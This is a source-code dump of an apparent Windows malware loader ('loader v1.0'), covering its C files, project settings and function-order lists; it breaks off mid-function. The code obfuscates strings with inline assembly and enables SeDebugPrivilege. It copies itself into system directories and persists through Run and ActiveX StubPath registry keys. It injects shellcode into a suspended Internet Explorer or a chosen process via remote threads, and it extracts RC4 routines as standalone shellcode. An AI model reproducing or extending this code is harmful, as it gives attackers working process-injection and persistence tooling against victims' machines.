    "content": "#include \"shellcodes.h\"\n#include \"global_data.h\"\n\n#ifndef _WIN64\n\n#pragma optimize(\"ts\", on)\n\nvoid __stdcall inject_to_explorer_code_x86(explorer_thread_param_t *param) {\n  global_data_t *global_data = &param->global_data;\n\n  // ȴloader˳\n  global_data->xSleep(1000 * 2);\n  HANDLE mutex_handle = global_data->xCreateMutexA(0, false, global_data->mutex_name);\n  if (mutex_handle == 0) return;\n\n  if (global_data->xGetLastError() == ERROR_ALREADY_EXISTS) {\n    global_data->xCloseHandle(mutex_handle);\n    return;\n  }\n\n  wchar_t *expand_str = 0;\n  char *sedebugname = 0;\n\n  __asm {\n    call push_str\n      __emit('%')\n      __emit(0)\n      __emit('P')\n      __emit(0)\n      __emit('R')\n      __emit(0)\n      __emit('O')\n      __emit(0)\n      __emit('G')\n      __emit(0)\n      __emit('R')\n      __emit(0)\n      __emit('A')\n      __emit(0)\n      __emit('M')\n      __emit(0)\n      __emit('F')\n      __emit(0)\n      __emit('I')\n      __emit(0)\n      __emit('L')\n      __emit(0)\n      __emit('E')\n      __emit(0)\n      __emit('S')\n      __emit(0)\n      __emit('%')\n      __emit(0)\n      __emit('\\\\')\n      __emit(0)\n      __emit('I')\n      __emit(0)\n      __emit('n')\n      __emit(0)\n      __emit('t')\n      __emit(0)\n      __emit('e')\n      __emit(0)\n      __emit('r')\n      __emit(0)\n      __emit('n')\n      __emit(0)\n      __emit('e')\n      __emit(0)\n      __emit('t')\n      __emit(0)\n      __emit(' ')\n      __emit(0)\n      __emit('E')\n      __emit(0)\n      __emit('x')\n      __emit(0)\n      __emit('p')\n      __emit(0)\n      __emit('l')\n      __emit(0)\n      __emit('o')\n      __emit(0)\n      __emit('r')\n      __emit(0)\n      __emit('e')\n      __emit(0)\n      __emit('r')\n      __emit(0)\n      __emit('\\\\')\n      __emit(0)\n      __emit('i')\n      __emit(0)\n      __emit('e')\n      __emit(0)\n      __emit('x')\n      __emit(0)\n      __emit('p')\n      __emit(0)\n      __emit('l')\n      __emit(0)\n      __emit('o')\n      __emit(0)\n      __emit('r')\n      __emit(0)\n      __emit('e')\n      __emit(0)\n      __emit('.')\n      __emit(0)\n      __emit('e')\n      __emit(0)\n      __emit('x')\n      __emit(0)\n      __emit('e')\n      __emit(0)\n      __emit(0)\n      __emit(0)\n    push_str:\n    pop eax\n      mov expand_str, eax\n      call push_str_1\n      __emit('S')\n      __emit('e')\n      __emit('D')\n      __emit('e')\n      __emit('b')\n      __emit('u')\n      __emit('g')\n      __emit('P')\n      __emit('r')\n      __emit('i')\n      __emit('v')\n      __emit('i')\n      __emit('l')\n      __emit('e')\n      __emit('g')\n      __emit('e')\n      __emit(0)\n    push_str_1:\n    pop eax\n      mov sedebugname, eax\n  }\n\n  HANDLE token;\n  TOKEN_PRIVILEGES tkp;\n\n  if (!global_data->xOpenProcessToken(global_data->xGetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token)) return;\n\n  if (!global_data->xLookupPrivilegeValueA(NULL, sedebugname, &tkp.Privileges[0].Luid)) {\n    global_data->xCloseHandle(token);\n    return;\n  }\n\n  tkp.PrivilegeCount = 1;\n  tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;\n  if (!global_data->xAdjustTokenPrivileges(token, FALSE, &tkp, sizeof(tkp), NULL, NULL)) {\n    global_data->xCloseHandle(token);\n    return;\n  }\n\n  if (global_data->copy_method != COPY_METHOD_NONE) {\n    global_data->copy_self_x86(global_data);\n  }\n\n  if (global_data->startup_hklm) {\n    global_data->add_startup_hklm_x86(global_data);\n  }\n\n  if (global_data->startup_acitvex) {\n    global_data->add_startup_activex_x86(global_data);\n  }\n\n  wchar_t ie_path[MAX_PATH];\n\n  u32 ret = global_data->xExpandEnvironmentStringsW(expand_str, ie_path, MAX_PATH);\n  ie_path[ret] = 0;\n\n  HANDLE heap = global_data->xGetProcessHeap();\n  global_data_t *new_global_data = global_data->xHeapAlloc(heap, HEAP_ZERO_MEMORY, sizeof(global_data_t));\n\n  for (;;) {\n    HANDLE process = 0;\n\n    if (global_data->inject_to_custom) {\n      for (u32 i = 0; i < INJECT_TIMES; i++) {\n        global_data->xSleep(INJECT_INTERVAL);\n        u32 pid = global_data->find_process_by_name_x86(global_data, global_data->custom_process_name);\n        if (pid != 0) {\n          process = global_data->xOpenProcess(PROCESS_ALL_ACCESS, false, pid);\n          if (process != 0) break;\n        }\n      }\n    }\n\n    // ע뵽ie\n    if (process == 0) {\n      STARTUPINFOW si;\n      PROCESS_INFORMATION pi;\n\n      global_data->xRtlZeroMemory(&si, sizeof(si));\n      global_data->xRtlZeroMemory(&pi, sizeof(pi));\n\n      si.cb = sizeof(si);\n      si.wShowWindow = SW_SHOWNORMAL;\n\n      if (!global_data->xCreateProcessW(0, ie_path, 0, 0, false, CREATE_SUSPENDED | DETACHED_PROCESS, 0, 0, &si, &pi)) continue;\n\n      global_data->xCloseHandle(pi.hThread);\n      process = pi.hProcess;\n    }\n\n    global_data->xRtlZeroMemory(new_global_data, sizeof(global_data_t));\n    global_data->xRtlMoveMemory(new_global_data, global_data, sizeof(global_data_t));\n\n    // ޸global_data extrac\n    extra_function_t *extrac_function = &new_global_data->connect_by_socks5;\n    void *temp = 0;\n\n    for (u32 i = 0; i < 15; i++) {\n      if (extrac_function->ptr64 != 0) {\n        temp = global_data->xVirtualAllocEx(process, 0, extrac_function->size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);\n        if (temp == 0) break;\n        if (!global_data->xWriteProcessMemory(process, temp, (void *)extrac_function->ptr32, extrac_function->size, 0)) break;\n        extrac_function->ptr64 = (u64)temp;\n      }\n    }\n    if (temp == 0) continue;\n\n    void *remote_thread, *remote_param;\n\n    remote_thread = global_data->xVirtualAllocEx(process, 0, param->thread_main_size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);\n    remote_param = global_data->xVirtualAllocEx(process, 0, sizeof(global_data_t), MEM_COMMIT, PAGE_EXECUTE_READWRITE);\n    if (remote_thread == 0 || remote_param == 0) continue;\n\n    if (!global_data->xWriteProcessMemory(process, remote_thread, (void *)param->thread_main, param->thread_main_size, 0)) continue;\n    if (!global_data->xWriteProcessMemory(process, remote_param, new_global_data, sizeof(global_data_t), 0)) continue;\n\n    HANDLE thread = global_data->xCreateRemoteThread(process, 0, 0, (LPTHREAD_START_ROUTINE)remote_thread, remote_param, 0, 0);\n    if (thread == 0) continue;\n    \n    global_data->xCloseHandle(process);\n\n    if (global_data->persistence) {\n      global_data->xWaitForSingleObject(thread, INFINITE);\n      global_data->xCloseHandle(thread);\n    }\n    else {\n      global_data->xCloseHandle(thread);\n      break;\n    }\n  }\n\n  global_data->xHeapFree(heap, 0, new_global_data);\n}\n\nvoid inject_to_explorer_code_x86_end() {\n  printf(__FUNCTION__);\n}\n\n#pragma optimize(\"ts\", off)\n\nvoid inject_to_explorer_code_x86_save(const char *filename) {\n  char *start, *end;\n  FILE *f;\n\n  start = (char *)inject_to_explorer_code_x86;\n  end = (char *)inject_to_explorer_code_x86_end;\n\n  printf(\"[*] inject_to_explorer_code_x86 code size = 0x%X\\n\", end - start);\n\n  f = fopen(filename, \"wb\");\n\n  u16 temp = offsetof(global_data_t, inject_to_explorer_code_x86);\n  printf(\"offset: 0x%X\\n\", temp);\n\n  fwrite(&temp, 1, sizeof(temp), f);\n\n  temp = end - start;\n  fwrite(&temp, 1, sizeof(temp), f);\n\n  fwrite(start, 1, end - start, f);\n\n  fclose(f);\n\n  printf(\"[*] save inject_to_explorer_code_x86 to %s success.\\n\", filename);\n}\n\n#endif"
  },
  {
    "path": "loader v1.0/loader_function/loader_function/loader_function.cpp",
    "content": "// loader_function.cpp : ̨Ӧóڵ㡣\n//\n\n#include \"stdafx.h\"\n#include \"shellcodes.h\"\n\nint _tmain(int argc, _TCHAR* argv[])\n{\n#ifdef _WIN64\n  x64_code_save();\n#else\n  inject_to_explorer_save(\"inject_to_explorer.bin\");\n  inject_to_explorer_code_x86_save(\"inject_to_explorer_code_x86.bin\");\n  rc4_init_save(\"rc4_init.bin\");\n  rc4_crypt_save(\"rc4_crypt.bin\");\n#endif\n\treturn 0;\n}\n"
  },
  {
    "path": "loader v1.0/loader_function/loader_function/loader_function.vcxproj",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project DefaultTargets=\"Build\" ToolsVersion=\"12.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n  <ItemGroup Label=\"ProjectConfigurations\">\n    <ProjectConfiguration Include=\"Debug|Win32\">\n      <Configuration>Debug</Configuration>\n      <Platform>Win32</Platform>\n    </ProjectConfiguration>\n    <ProjectConfiguration Include=\"Debug|x64\">\n      <Configuration>Debug</Configuration>\n      <Platform>x64</Platform>\n    </ProjectConfiguration>\n    <ProjectConfiguration Include=\"Release|Win32\">\n      <Configuration>Release</Configuration>\n      <Platform>Win32</Platform>\n    </ProjectConfiguration>\n    <ProjectConfiguration Include=\"Release|x64\">\n      <Configuration>Release</Configuration>\n      <Platform>x64</Platform>\n    </ProjectConfiguration>\n  </ItemGroup>\n  <PropertyGroup Label=\"Globals\">\n    <ProjectGuid>{DCB38EA2-571C-4CC8-84DE-D2278EA4034B}</ProjectGuid>\n    <Keyword>Win32Proj</Keyword>\n    <RootNamespace>loader_function</RootNamespace>\n  </PropertyGroup>\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.Default.props\" />\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\" Label=\"Configuration\">\n    <ConfigurationType>Application</ConfigurationType>\n    <UseDebugLibraries>true</UseDebugLibraries>\n    <PlatformToolset>v120</PlatformToolset>\n    <CharacterSet>Unicode</CharacterSet>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\" Label=\"Configuration\">\n    <ConfigurationType>Application</ConfigurationType>\n    <UseDebugLibraries>true</UseDebugLibraries>\n    <PlatformToolset>v120</PlatformToolset>\n    <CharacterSet>Unicode</CharacterSet>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\" Label=\"Configuration\">\n    <ConfigurationType>Application</ConfigurationType>\n    <UseDebugLibraries>false</UseDebugLibraries>\n    <PlatformToolset>v120_xp</PlatformToolset>\n    <WholeProgramOptimization>true</WholeProgramOptimization>\n    <CharacterSet>Unicode</CharacterSet>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\" Label=\"Configuration\">\n    <ConfigurationType>Application</ConfigurationType>\n    <UseDebugLibraries>false</UseDebugLibraries>\n    <PlatformToolset>v120</PlatformToolset>\n    <WholeProgramOptimization>true</WholeProgramOptimization>\n    <CharacterSet>Unicode</CharacterSet>\n  </PropertyGroup>\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.props\" />\n  <ImportGroup Label=\"ExtensionSettings\">\n  </ImportGroup>\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\n  </ImportGroup>\n  <ImportGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\" Label=\"PropertySheets\">\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\n  </ImportGroup>\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\n  </ImportGroup>\n  <ImportGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\" Label=\"PropertySheets\">\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\n  </ImportGroup>\n  <PropertyGroup Label=\"UserMacros\" />\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">\n    <LinkIncremental>true</LinkIncremental>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">\n    <LinkIncremental>true</LinkIncremental>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">\n    <LinkIncremental>false</LinkIncremental>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">\n    <LinkIncremental>false</LinkIncremental>\n  </PropertyGroup>\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">\n    <ClCompile>\n      <PrecompiledHeader>NotUsing</PrecompiledHeader>\n      <WarningLevel>Level3</WarningLevel>\n      <Optimization>Disabled</Optimization>\n      <PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;_LIB;%(PreprocessorDefinitions)</PreprocessorDefinitions>\n      <SDLCheck>true</SDLCheck>\n      <ExceptionHandling>false</ExceptionHandling>\n      <BufferSecurityCheck>false</BufferSecurityCheck>\n    </ClCompile>\n    <Link>\n      <SubSystem>Console</SubSystem>\n      <GenerateDebugInformation>true</GenerateDebugInformation>\n    </Link>\n  </ItemDefinitionGroup>\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">\n    <ClCompile>\n      <PrecompiledHeader>Use</PrecompiledHeader>\n      <WarningLevel>Level3</WarningLevel>\n      <Optimization>Disabled</Optimization>\n      <PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;_LIB;%(PreprocessorDefinitions)</PreprocessorDefinitions>\n      <SDLCheck>true</SDLCheck>\n    </ClCompile>\n    <Link>\n      <SubSystem>Console</SubSystem>\n      <GenerateDebugInformation>true</GenerateDebugInformation>\n    </Link>\n  </ItemDefinitionGroup>\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">\n    <ClCompile>\n      <WarningLevel>Level3</WarningLevel>\n      <PrecompiledHeader>NotUsing</PrecompiledHeader>\n      <Optimization>MinSpace</Optimization>\n      <FunctionLevelLinking>true</FunctionLevelLinking>\n      <IntrinsicFunctions>true</IntrinsicFunctions>\n      <PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;_LIB;%(PreprocessorDefinitions)</PreprocessorDefinitions>\n      <SDLCheck>true</SDLCheck>\n      <AdditionalOptions>/D _CRT_SECURE_NO_WARNINGS %(AdditionalOptions)</AdditionalOptions>\n      <WholeProgramOptimization>false</WholeProgramOptimization>\n      <BufferSecurityCheck>false</BufferSecurityCheck>\n      <ExceptionHandling>false</ExceptionHandling>\n      <RuntimeLibrary>MultiThreaded</RuntimeLibrary>\n    </ClCompile>\n    <Link>\n      <SubSystem>Console</SubSystem>\n      <GenerateDebugInformation>true</GenerateDebugInformation>\n      <EnableCOMDATFolding>true</EnableCOMDATFolding>\n      <OptimizeReferences>true</OptimizeReferences>\n      <GenerateMapFile>true</GenerateMapFile>\n      <FunctionOrder>order_x86.txt</FunctionOrder>\n      <ImageHasSafeExceptionHandlers>false</ImageHasSafeExceptionHandlers>\n      <DataExecutionPrevention>true</DataExecutionPrevention>\n      <RandomizedBaseAddress>true</RandomizedBaseAddress>\n    </Link>\n  </ItemDefinitionGroup>\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">\n    <ClCompile>\n      <WarningLevel>Level3</WarningLevel>\n      <PrecompiledHeader>NotUsing</PrecompiledHeader>\n      <Optimization>MinSpace</Optimization>\n      <FunctionLevelLinking>true</FunctionLevelLinking>\n      <IntrinsicFunctions>true</IntrinsicFunctions>\n      <PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;_LIB;%(PreprocessorDefinitions)</PreprocessorDefinitions>\n      <SDLCheck>true</SDLCheck>\n      <ExceptionHandling>false</ExceptionHandling>\n      <BufferSecurityCheck>false</BufferSecurityCheck>\n      <AdditionalOptions>/D _CRT_SECURE_NO_WARNINGS %(AdditionalOptions)</AdditionalOptions>\n    </ClCompile>\n    <Link>\n      <SubSystem>Console</SubSystem>\n      <GenerateDebugInformation>true</GenerateDebugInformation>\n      <EnableCOMDATFolding>true</EnableCOMDATFolding>\n      <OptimizeReferences>true</OptimizeReferences>\n      <FunctionOrder>order_x64.txt</FunctionOrder>\n      <GenerateMapFile>true</GenerateMapFile>\n    </Link>\n  </ItemDefinitionGroup>\n  <ItemGroup>\n    <Text Include=\"ReadMe.txt\" />\n  </ItemGroup>\n  <ItemGroup>\n    <ClInclude Include=\"global_data.h\" />\n    <ClInclude Include=\"shellcodes.h\" />\n    <ClInclude Include=\"stdafx.h\" />\n    <ClInclude Include=\"targetver.h\" />\n  </ItemGroup>\n  <ItemGroup>\n    <ClCompile Include=\"rc4.c\" />\n    <ClCompile Include=\"x64_code.c\" />\n    <ClCompile Include=\"inject_to_explorer.c\" />\n    <ClCompile Include=\"inject_to_explorer_code_x86.c\" />\n    <ClCompile Include=\"loader_function.cpp\" />\n    <ClCompile Include=\"stdafx.cpp\">\n      <PrecompiledHeader Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">Create</PrecompiledHeader>\n      <PrecompiledHeader Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">Create</PrecompiledHeader>\n      <PrecompiledHeader Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">Create</PrecompiledHeader>\n      <PrecompiledHeader Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">Create</PrecompiledHeader>\n    </ClCompile>\n  </ItemGroup>\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.targets\" />\n  <ImportGroup Label=\"ExtensionTargets\">\n  </ImportGroup>\n</Project>"
  },
  {
    "path": "loader v1.0/loader_function/loader_function/loader_function.vcxproj.filters",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"4.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n  <ItemGroup>\n    <Filter Include=\"源文件\">\n      <UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>\n      <Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>\n    </Filter>\n    <Filter Include=\"头文件\">\n      <UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>\n      <Extensions>h;hh;hpp;hxx;hm;inl;inc;xsd</Extensions>\n    </Filter>\n    <Filter Include=\"资源文件\">\n      <UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>\n      <Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>\n    </Filter>\n  </ItemGroup>\n  <ItemGroup>\n    <Text Include=\"ReadMe.txt\" />\n  </ItemGroup>\n  <ItemGroup>\n    <ClInclude Include=\"stdafx.h\">\n      <Filter>头文件</Filter>\n    </ClInclude>\n    <ClInclude Include=\"targetver.h\">\n      <Filter>头文件</Filter>\n    </ClInclude>\n    <ClInclude Include=\"global_data.h\">\n      <Filter>头文件</Filter>\n    </ClInclude>\n    <ClInclude Include=\"shellcodes.h\">\n      <Filter>头文件</Filter>\n    </ClInclude>\n  </ItemGroup>\n  <ItemGroup>\n    <ClCompile Include=\"stdafx.cpp\">\n      <Filter>源文件</Filter>\n    </ClCompile>\n    <ClCompile Include=\"loader_function.cpp\">\n      <Filter>源文件</Filter>\n    </ClCompile>\n    <ClCompile Include=\"inject_to_explorer.c\">\n      <Filter>源文件</Filter>\n    </ClCompile>\n    <ClCompile Include=\"inject_to_explorer_code_x86.c\">\n      <Filter>源文件</Filter>\n    </ClCompile>\n    <ClCompile Include=\"x64_code.c\">\n      <Filter>源文件</Filter>\n    </ClCompile>\n    <ClCompile Include=\"rc4.c\">\n      <Filter>源文件</Filter>\n    </ClCompile>\n  </ItemGroup>\n</Project>"
  },
  {
    "path": "loader v1.0/loader_function/loader_function/loader_function.vcxproj.user",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"12.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n  <PropertyGroup>\n    <ShowAllFiles>true</ShowAllFiles>\n  </PropertyGroup>\n</Project>"
  },
  {
    "path": "loader v1.0/loader_function/loader_function/order_x64.txt",
    "content": "add_startup_hklm_x64\nadd_startup_hklm_x64_end\n\nadd_startup_activex_x64\nadd_startup_activex_x64_end\n\ncopy_self_x64\ncopy_self_x64_end\n\nfind_process_by_name_x64\nfind_process_by_name_x64_end\n\ninject_to_explorer_code_x64\ninject_to_explorer_code_x64_init"
  },
  {
    "path": "loader v1.0/loader_function/loader_function/order_x86.txt",
    "content": "inject_to_explorer@16\nwow64_create_remote_thread\ninject_memory\nwow64_inject_memory\nwow64_call\ninject_to_explorer_end\n\ninject_to_explorer_code_x86@4\ninject_to_explorer_code_x86_end\n\nrc4_init_code@12\nrc4_init_end\n\nrc4_crypt_code@12\nrc4_crypt_end"
  },
  {
    "path": "loader v1.0/loader_function/loader_function/rc4.c",
    "content": "#include \"shellcodes.h\"\n\n#ifndef _WIN64\n\nextern void __stdcall rc4_init_code(unsigned char *sbox, unsigned char *key, unsigned len);\nextern void __cdecl rc4_init_end();\nextern void __stdcall rc4_crypt_code(unsigned char *sbox, unsigned char *data, unsigned len);\nextern void __cdecl rc4_crypt_end();\n\n#pragma optimize(\"ts\", on)\n\nvoid __stdcall rc4_init_code(unsigned char *sbox, unsigned char *key, unsigned len) {\n  unsigned char k[256];\n  for (int i = 0; i < 256; i++) {\n    sbox[i] = i;\n    k[i] = key[i % len];\n  }\n  for (int i = 0, j = 0; i < 256; i++) {\n    j = (j + sbox[i] + k[i]) % 256;\n    unsigned char tmp = sbox[i];\n    sbox[i] = sbox[j];\n    sbox[j] = tmp;\n  }\n}\n\nvoid __cdecl rc4_init_end() {\n  printf(__FUNCTION__);\n}\n\nvoid __stdcall rc4_crypt_code(unsigned char *sbox, unsigned char *data, unsigned len) {\n  int i = 0, j = 0;\n  for (unsigned k = 0; k < len; k++) {\n    i = (i + 1) % 256;\n    j = (j + sbox[i]) % 256;\n    unsigned char tmp = sbox[i];\n    sbox[i] = sbox[j];\n    sbox[j] = tmp;\n    int t = (sbox[i] + sbox[j]) % 256;\n    data[k] ^= sbox[t];\n  }\n}\n\nvoid __cdecl rc4_crypt_end() {\n  printf(__FUNCTION__);\n};\n\nvoid rc4_init_save(char *filename) {\n  char *start, *end;\n  FILE *f;\n\n  start = (char *)rc4_init_code;\n  end = (char *)rc4_init_end;\n\n  printf(\"[*] rc4_init code size = 0x%X\\n\", end - start);\n\n  f = fopen(filename, \"wb\");\n  fwrite(start, 1, end - start, f);\n\n  fclose(f);\n  printf(\"[*] save rc4_init to %s success.\\n\", filename);\n}\n\nvoid rc4_crypt_save(char *filename) {\n  char *start, *end;\n  FILE *f;\n\n  start = (char *)rc4_crypt_code;\n  end = (char *)rc4_crypt_end;\n\n  printf(\"[*] rc4_crypt code size = 0x%X\\n\", end - start);\n\n  f = fopen(filename, \"wb\");\n  fwrite(start, 1, end - start, f);\n\n  fclose(f);\n  printf(\"[*] save rc4_crypt to %s success.\\n\", filename);\n}\n\n#pragma optimize(\"ts\", off)\n\n#endif"
  },
  {
    "path": "loader v1.0/loader_function/loader_function/shellcode.inc",
    "content": "typedef void * (__stdcall *_get_proc_from_hash)(HMODULE, DWORD, _GetProcAddress);\ntypedef void (__stdcall *_rc4_init)(unsigned char *, const char *, DWORD);\ntypedef void (__stdcall *_rc4_crypt)(unsigned char *, const char *, DWORD);\ntypedef void *(__stdcall *_alloc_memory)(global_data_p, DWORD);\ntypedef void *(__stdcall *_realloc_memory)(global_data_p, void *, DWORD);\ntypedef void *(__stdcall *_free_memory)(global_data_p, void *);\ntypedef void *(__stdcall *_alloc_executable_memory)(global_data_p, HANDLE, DWORD);\ntypedef void (__stdcall *_free_executable_memory)(global_data_p, HANDLE, void *);\ntypedef void *(__stdcall *_inject_memory)(global_data_p, HANDLE, void *, DWORD);\ntypedef int (__stdcall *_compress)(global_data_p, void *, DWORD, void *, DWORD);\ntypedef int (__stdcall *_decompress)(global_data_p, void *, DWORD, void *, DWORD);\ntypedef int (__stdcall *_wait_buffer)(global_data_p, SOCKET, DWORD, DWORD);\ntypedef int (__stdcall *_recv_data)(global_data_p, SOCKET, void *, DWORD);\ntypedef int (__stdcall *_send_data)(global_data_p, SOCKET, void *, DWORD);\ntypedef uint64_t (__cdecl *_wow64_call)(uint64_t func, int argC, ...);\ntypedef uint64_t (__cdecl *_wow64_inject_memory)(global_data_t *global_data, HANDLE process, unsigned char *buf, uint32_t size);\ntypedef HANDLE (__cdecl *_wow64_create_remote_thread)(global_data_t *global_data, HANDLE process, uint64_t thread, uint64_t param);"
  },
  {
    "path": "loader v1.0/loader_function/loader_function/shellcodes.h",
    "content": "#ifndef SHELLCODES_H\n#define SHELLCODES_H\n#include \"global_data.h\"\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n#ifdef _WIN64\n  void x64_code_save();\n#else\n  void inject_to_explorer_save(const char *filename);\n  void inject_to_explorer_code_x86_save(const char *filename);\n  void rc4_init_save(char *filename);\n  void rc4_crypt_save(char *filename);\n#endif\n#ifdef __cplusplus\n}\n#endif\n\n#endif  // SHELLCODES_H"
  },
  {
    "path": "loader v1.0/loader_function/loader_function/stdafx.cpp",
    "content": "// stdafx.cpp : ֻ׼ļԴļ\n// loader_function.pch ΪԤͷ\n// stdafx.obj ԤϢ\n\n#include \"stdafx.h\"\n\n// TODO:   STDAFX.H \n// κĸͷļڴļ\n"
  },
  {
    "path": "loader v1.0/loader_function/loader_function/stdafx.h",
    "content": "// stdafx.h : ׼ϵͳļİļ\n// Ǿʹõĵ\n// ضĿİļ\n//\n\n#pragma once\n\n#include \"targetver.h\"\n\n#include <stdio.h>\n#include <tchar.h>\n\n\n\n// TODO:  ڴ˴óҪͷļ\n"
  },
  {
    "path": "loader v1.0/loader_function/loader_function/targetver.h",
    "content": "#pragma once\n\n//  SDKDDKVer.h õ߰汾 Windows ƽ̨\n\n// ҪΪǰ Windows ƽ̨Ӧó WinSDKVer.h\n// WIN32_WINNT ΪҪֵ֧ƽ̨Ȼٰ SDKDDKVer.h\n\n#include <SDKDDKVer.h>\n"
  },
  {
    "path": "loader v1.0/loader_function/loader_function/x64_code.c",
    "content": "#include \"shellcodes.h\"\n#include \"global_data.h\"\n\n#ifdef _WIN64\n\n#pragma optimize(\"ts\", on)\n\nextern void add_startup_hklm_x64_end();\n\nvoid add_startup_hklm_x64(x64_global_data_t *x64_global_data, global_data_t *global_data) {\n  HKEY root;\n  char *subkey = (char *)add_startup_hklm_x64_end;\n\n  if (x64_global_data->xRegOpenKeyExA(HKEY_CURRENT_USER, subkey, 0, KEY_WRITE, &root) != 0) return;\n\n  wchar_t temp[100];\n\n  x64_global_data->xRtlZeroMemory(temp, sizeof(temp));\n  x64_global_data->xlstrcpyW(temp, global_data->nklm_name);\n\n  x64_global_data->xRegSetValueExW(root, temp, 0, REG_SZ, (const BYTE *)global_data->loader_path, (x64_global_data->xlstrlenW(global_data->loader_path) + 1) * sizeof(wchar_t));\n  x64_global_data->xRegCloseKey(root);\n}\n\nvoid add_startup_hklm_x64_end() {\n  printf(__FUNCTION__);\n}\n\nextern void add_startup_activex_x64_end();\n\nvoid add_startup_activex_x64(x64_global_data_t *x64_global_data, global_data_t *global_data) {\n  HKEY root, stub;\n  wchar_t tempkey[10];\n  char *subkey = (char *)add_startup_activex_x64_end;\n\n  if (x64_global_data->xRegOpenKeyExA(HKEY_LOCAL_MACHINE, subkey, 0, KEY_ALL_ACCESS, &root) != 0) return;\n\n  // ջǶ\n  tempkey[0] = L'S';\n  tempkey[1] = L't';\n  tempkey[2] = L'u';\n  tempkey[3] = L'b';\n  tempkey[4] = L'P';\n  tempkey[5] = L'a';\n  tempkey[6] = L't';\n  tempkey[7] = L'h';\n  tempkey[8] = 0;\n\n  if (x64_global_data->xRegCreateKeyExW(root, global_data->activex_name, 0, 0, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, 0, &stub, 0) != 0) {\n    x64_global_data->xRegCloseKey(root);\n  }\n\n  x64_global_data->xRegSetValueExW(stub, tempkey, 0, REG_SZ, (const BYTE *)global_data->loader_path, (x64_global_data->xlstrlenW(global_data->loader_path) + 1) * 2);\n\n  x64_global_data->xRegCloseKey(stub);\n  x64_global_data->xRegCloseKey(root);\n}\n\nvoid add_startup_activex_x64_end() {\n  printf(__FUNCTION__);\n}\n\nvoid copy_self_x64(x64_global_data_t *x64_global_data, global_data_t *global_data) {\n  wchar_t path[MAX_PATH];\n\n  u32 ret = 0;\n\n  if (global_data->copy_method == COPY_METHOD_TO_WINDOWS) {\n    ret = x64_global_data->xGetWindowsDirectoryW(path, MAX_PATH);\n  }\n  else {\n    ret = x64_global_data->xGetSystemDirectoryW(path, MAX_PATH);\n  }\n\n  path[ret] = L'\\\\';\n  path[ret + 1] = 0;\n\n  x64_global_data->xlstrcatW(path, global_data->copy_to);\n  if 